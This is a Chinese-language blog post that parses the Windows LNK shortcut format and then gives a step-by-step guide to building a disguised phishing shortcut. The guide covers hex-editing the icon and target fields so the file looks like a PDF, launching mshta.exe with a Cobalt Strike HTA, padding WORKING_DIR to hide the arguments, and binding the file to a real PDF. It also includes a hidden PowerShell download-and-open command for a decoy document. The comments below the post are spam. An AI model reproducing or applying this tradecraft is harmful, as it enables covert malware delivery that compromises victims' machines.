Loading... LNK荷载在国内外已经使用很久的一个钓鱼技术。很多APT组织也是用LNK文件作为投递的主要载荷。LNK文件的载荷。LNK文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装后缀名以欺骗目标的特点而被广泛使用,首先我们解析LNK文件格式切入。 ## **LNK文件格式解析:** 文件前`20`字节固定不变: ![image.png](https://www.irohane.top/usr/uploads/2023/08/1683489143.png) 文件前20字节 ![image.png](https://www.irohane.top/usr/uploads/2023/08/3554016983.png) HeaderSize(4 bytes, `offset 0x00`):0x0000004C•LinkCLSID(16 bytes, `offset 0x04`):00021401-0000-0000-C000-000000000046 #### **0x01.1 LinkFlags** 由`offset 0x14`起始4字节为 **LinkFlags** (下图来自微软官方文档): ![](https://www.irohane.top/usr/uploads/2023/08/554957461.png) 图片2 LinkFlags定义 由图片2可以看到,该文件**LinkFlags**为`0x000802DB`(Bin:`0000 0000 0000 1000 0000 0010 1101 1011`),这表示以下Flag被设置: •HasLinkTargetIDList•HasLinkInfo•HasRelativePath•HasWorkingDir•HasIconLocation•IsUnicode•HasExpIcon•DisableLinkPathTracking 上述Flag会在下文解释,故此处先不做展开。 #### **0x01.2 FileAttributes** 由`offset 0x18`起始`4`字节为 **FileAttributes** ,`0x00000020`表示`FILE_ATTRIBUTE_ARCHIVE`。 #### **0x01.3 CreateTime & AccessTime & WriteTime** 由`offset 0x1C`开始,每个字段各占`8`字节: ![image.png](https://www.irohane.top/usr/uploads/2023/08/365562895.png) FileSize 从上图可以看到,FileSize为00 00 6C 00(4字节)大小为27648 IconIndex **IconIndex**为`0x00000000`(占`4`个字节)。 ShowCommand & Hotkey ![image.png](https://www.irohane.top/usr/uploads/2023/08/2763194245.png) ShowCommand & Hotkey 由`offset 0x3C`开始,**ShowCommand**占`4`字节,**0x00000001**表示`SW_SHOWNORMAL`,当然也可以根据具体的需要替换为`SW_SHOWMAXIMIZED (0x00000003)`( **窗口最大化** )以及`SW_SHOWMINNOACTIVE (0x00000007)`( **窗口最小化** ) **Hotkey**占`2`字节;余下`10`个字节均为保留位。 LinkTargetIDList 由于**LinkFlags**中`HasLinkTargetIDList`设为`1`,故文件包含**LinkTargetIDList**结构。**LinkTargetIDList**构成如下: ![](https://www.irohane.top/usr/uploads/2023/08/2454765421.png) 图片5 LinkTargetIDList 而**IDList**由**ItemID**构成,以`2`字节全为`0`的**TerminalID**作为结束: ![](https://www.irohane.top/usr/uploads/2023/08/4043450343.png) 图片6 ItemID 下面来看示例文件中的 **LinkTargetIDList** : ![](https://www.irohane.top/usr/uploads/2023/08/140511700.png) 图片7 LinkTargetIDList示例 上图红色部分为 **IDListSize** ,绿色部分为 **TerminalID** ,中间**蓝色**部分则为 **IDList** 。下面来看 **IDList** ,第一个**ItemID**如下: •ItemIDSize(2 bytes, offset 0x004E):0x0014•Data(12 bytes, offset 0x0050):根据微软官方文档给出的信息,其含义为computer 第二个 **ItemID** : ![](https://www.irohane.top/usr/uploads/2023/08/2221884180.png) 图片8 ItemID-2 •ItemIDSize(2 bytes, offset 0x0062):0x0019•Data(23 bytes, offset 0x0064):其含义为c: 第三个 **ItemID** : ![](https://www.irohane.top/usr/uploads/2023/08/440684765.png) 图片9 ItemID-3 不再赘述,其含义为Windows。 第四个 **ItemID** : ![](https://www.irohane.top/usr/uploads/2023/08/4038853359.png) 图片10 ItemID-4 其含义为System32。 第五个 **ItemID** : ![](https://www.irohane.top/usr/uploads/2023/08/2420678765.png) 图片11 ItemID-5 **0x01.8 LinkInfo** 由于**LinkFlags**中`HasLinkInfo`设为1,故文件包含**LinkInfo**结构。**LinkInfo**构成如下: ![](https://www.irohane.top/usr/uploads/2023/08/2151496954.png) 图片12 LinkInfo 下面来看下示例文件中的 **LinkInfo** : ![](https://www.irohane.top/usr/uploads/2023/08/538734654.png) 图片13 LinkInfo示例 •LinkInfoSize(4 bytes, offset 0x017B):0x00000053•LinkInfoHeaderSize(4 bytes, offset 0x017F):LinkInfo结构定义中指定该字段为0x0000001C•LinkInfoFlags(4 bytes, offset 0x0183):0x00000001,表示VolumeIDAndLocalBasePath标志位设为1•VolumeIDOffset(4 bytes, offset 0x0187):0x0000001C,自`offset 0x017B`处VolumeID偏移大小•LocalBasePathOffset(4 bytes, offset 0x018B):0x00000035,自`offset 0x017B`处LocalBasePath偏移大小•CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F):0x00000000,CommonNetworkRelativeLink不存在•CommonPathSuffixOffset(4 bytes, offset 0x0193):0x00000052,自`offset 0x017B`处CommonPathSuffix偏移大小•VolumeID(25 bytes, offset 0x0197):由于VolumeIDAndLocalBasePath设置为1,故包含VolumeID结构如下:•VolumeIDSize(4 bytes, offset 0x0197):0x00000019•DriveType(4 bytes, offset 0x019B):DRIVE_FIXED(3)•DriveSerialNumber(4 bytes, offset 0x019F)•VolumeLabelOffset(4 bytes, offset 0x01A3):0x00000010,自`offset 0x0197`处VolumeLabel偏移大小•Data(9 bytes, offset 0x01A7):Windows7•LocalBasePath(29 bytes, offset 0x01B0):由于VolumeIDAndLocalBasePath设置为1,故包含LocalBasePath——"C:/Windows/System32/calc.exe"。该字段为指向链接目标的完整路径。•CommonPathSuffix(1 byte, offset 0x01CD):空字符 **0x01.9 String Data** 每个**String Data**结构如下: ![](https://www.irohane.top/usr/uploads/2023/08/2251687083.png) 图片14 String Data 由于**LinkFlags**中`HasRelativePath`设为1,故文件包含`RELATIVE_PATH`字符串: ![](https://www.irohane.top/usr/uploads/2023/08/2628249659.png) 图片15 RELATIVE_PATH **红色**部分是 **CountCharacters** (`Unicode`字符串长度,故应该为`0x22*2=0x44`),**蓝色**部分则为`String`。 之后是**WORKING_DIR**字符串: ![](https://www.irohane.top/usr/uploads/2023/08/3562006592.png) 图片16 WORKING_DIR **ICON_LOCATION**字符串: ![](https://www.irohane.top/usr/uploads/2023/08/3252216018.png) 图片17 ICON_LOCATION **0x01.10 EnvironmentVariableDataBlock** 由于**LinkFlags**中`HasExpString`设为`1`,故文件包含`EnvironmentVariableDataBlock`: ![](https://www.irohane.top/usr/uploads/2023/08/1411446672.png) 图片18 EnvironmentVariableDataBlock •BlockSize(4 bytes):该字段值必须为0x0314•BlockSignature (4 bytes):该字段值必须为0xA0000001•TargetAnsi (260 bytes):指定环境变量路径(ANSI字符串),详见下图。 ![](https://www.irohane.top/usr/uploads/2023/08/3747492959.png) 图片19 TargetAnsi •TargetUnicode(520 bytes):指定环境变量路径(UNICODE字符串),详见下图。 ![](https://www.irohane.top/usr/uploads/2023/08/2768297071.png) 图片20 TargetUnicode **0x01.11 EXTRA_DATA** 由零个或多个下列数据块与**TERMINAL_BLOCK**组成: ![](https://www.irohane.top/usr/uploads/2023/08/971843647.png) 图片21 EXTRA_DATA 示例文件中的**EXTRA_DATA**包含`SpecialFolderDataBlock`: ![](https://www.irohane.top/usr/uploads/2023/08/3879586010.png) 图片22 SpecialFolderDataBlock •BlockSize(4 bytes):0x00000010•BlockSignature(4 bytes):0xA000005,标识SpecialFolderDataBlock•SpecialFolderID (4 bytes):0x00000025,指定Folder ID•Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID KnownFolderDataBlock: ![](https://www.irohane.top/usr/uploads/2023/08/1087131102.png) 图片23 KnownFolderDataBlock •BlockSize(4 bytes):0x0000001C•BlockSignature(4 bytes):0xA00000B,标识KnownFolderDataBlock•KnownFolderID(16 bytes):GUID•Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID PropertyStoreDataBlock: ![](https://www.irohane.top/usr/uploads/2023/08/1086496225.png) 图片24 PropertyStoreDataBlock •BlockSize(4 bytes):0x000001F4•BlockSignature(4 bytes):0xA000009,标识PropertyStoreDataBlock•PropertryStore(492 bytes)TrackerDataBlock: ![](https://www.irohane.top/usr/uploads/2023/08/3866034667.png) 图片25 PropertyStoreDataBlock •BlockSize(4 bytes):0x00000060•BlockSignature(4 bytes):0xA000003,标识TrackerDataBlock•Length(4 bytes):0x00000058,该数据块最小长度•Version(4 bytes):0x00000000•MachineID(16 bytes)•Droid(32 bytes):2 GUID•DroidBirth(32 byte):2 GUID **构造迷惑性LNK文件:** ![image.png](https://www.irohane.top/usr/uploads/2023/08/107883536.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/1049696236.png) 双击运行 ![image.png](https://www.irohane.top/usr/uploads/2023/08/1705135684.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/1208259716.png) ### 正常LNK文件 之后更改其图标为`%SystemRoot%/System32/SHELL32.dll`中任意一个 ![image.png](https://www.irohane.top/usr/uploads/2023/08/1641490053.png) **修改图标** 用`010 Editor`打开该LNK文件,找到`String Data`部分`ICON_LOCATION`字符串: ![image.png](https://www.irohane.top/usr/uploads/2023/08/387316855.png) ICON_LOCATION 我们要将其修改为`./1.pdf`(Unicode),其长度`0x07`: ![image.png](https://www.irohane.top/usr/uploads/2023/08/4122478716.png) 修改图标 其效果如下所示(左边机器打开`PDF`文件的默认程序是XODO PDF Reade): ![image.png](https://www.irohane.top/usr/uploads/2023/08/1361174371.png) **其会根据目标机器上所安装的环境进行适配,以显示出符合本机环境的图标,加大了样本的成功几率** **修改目标** 原始目标如下所示 ![image.png](https://www.irohane.top/usr/uploads/2023/08/691345218.png) 原始目标 现在我们修改`EnvironmentVariableDataBlock`中的`TargetAnsi`及`TargetUnicode`: ![image.png](https://www.irohane.top/usr/uploads/2023/08/7928309.png) 注意TargetUnicode原本路径是没有的这是后来加上的 ![image.png](https://www.irohane.top/usr/uploads/2023/08/2422251527.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/3141132349.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/3208205561.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/3386182456.png) 修改TargetUnicode 将其修改为`%windir%/system32`目录不存在的一个EXE文件名。 效果展示: ![image.png](https://www.irohane.top/usr/uploads/2023/08/963337521.png) 但这时双击该文件会报错: ![image.png](https://www.irohane.top/usr/uploads/2023/08/4049034203.png) 报错 所以我们需要再修改**LinkTargetIDList**中第五个 **ItemID** : ![image.png](https://www.irohane.top/usr/uploads/2023/08/66214663.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/1689708710.png) 首先新建一指向`%windir%/System32/mshta.exe`的快捷方式(文件名尽量带有迷惑性),并更改其图标为`%SystemRoot%/System32/SHELL32.dll`中任意一个 之后更改其参数为`HTA`下载地址: ![image.png](https://www.irohane.top/usr/uploads/2023/08/936867675.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/657310020.png) 文件下载 注:笔者是使用`Cobalt Strike`生成`HTA`文件: ![image.png](https://www.irohane.top/usr/uploads/2023/08/298145984.png) ![image.png](https://www.irohane.top/usr/uploads/2023/08/2807075971.png) 生成HTA 于其执行`payload`前增加如下语句( **用于下载诱饵文档并且进行打开,同时诱饵文档的显示有多种方法,这里只是举一个例子** ): ```cpp Dim open_pdf Set open_pdf = CreateObject("Wscript.Shell") open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'/LNK文件格式解析(修改版).pdf');Start-Process $env:temp'/LNK文件格式解析(修改版).pdf'", 0, true ``` 这样一来,在受害者打开`LNK`文件后会从远程下载一正常`PDF`文档并打开。 接下来按照`0x02`部分所述方法修改即可,此处加一个Tip—— **在其WORKING_DIR字符串前面添加大量空格字符** ,使其目标长度超过`260`个字符: ![](https://www.irohane.top/usr/uploads/2023/08/251486994.png) 添加空格字符 使用`copy /B`命令将其与正常`PDF`文档捆绑,使其文件大小看起来更具有说服力: ![](https://www.irohane.top/usr/uploads/2023/08/1629441076.png) 图片41 文件大小 之后双击该`LNK`文件,主机便会上线,而受害者会看到一正常的`PDF`文档: ![](https://www.irohane.top/usr/uploads/2023/08/456880751.png) 图片42 主机上线 效果展示: ![](https://www.irohane.top/usr/uploads/2023/08/1150293106.gif) 图片43 效果 ## **0x04.注意事项:** 文中只是以**pdf**为后缀做了一个例子,看官在具体进行构造的时候可以使用其他的后缀,只要是后面以`10 00 00 00`结尾即可 ![](https://www.irohane.top/usr/uploads/2023/08/2352434611.png) 图片44 不同后缀的情况 当然看官也可以通过修改前面的规定数据大小的值以实现不拘泥于数字与字母的命名方式 如上图中的`docx`所示其数据大小为`9`,数据值为`.\11.docx`而下面的`png`所显示的数据大小为`7`,数据值为`.\1.png`。经过反复的修改测试可得知,只要其数据值能够符合其前面规定的数据块其就可以正常解析并且显示. 最后修改:2023 年 08 月 29 日 © 允许规范转载 赞 2 如果觉得我的文章对你有用,请随意赞赏
7 条评论
想想你的文章写的特别好www.jiwenlaw.com
看的我热血沸腾啊https://www.ea55.com/
想想你的文章写的特别好https://www.237fa.com/
叼茂SEO.bfbikes.com
博主真是太厉害了!!!
这篇文章写得深入浅出,让我这个小白也看懂了!
很纳斯,有问题请教,请e我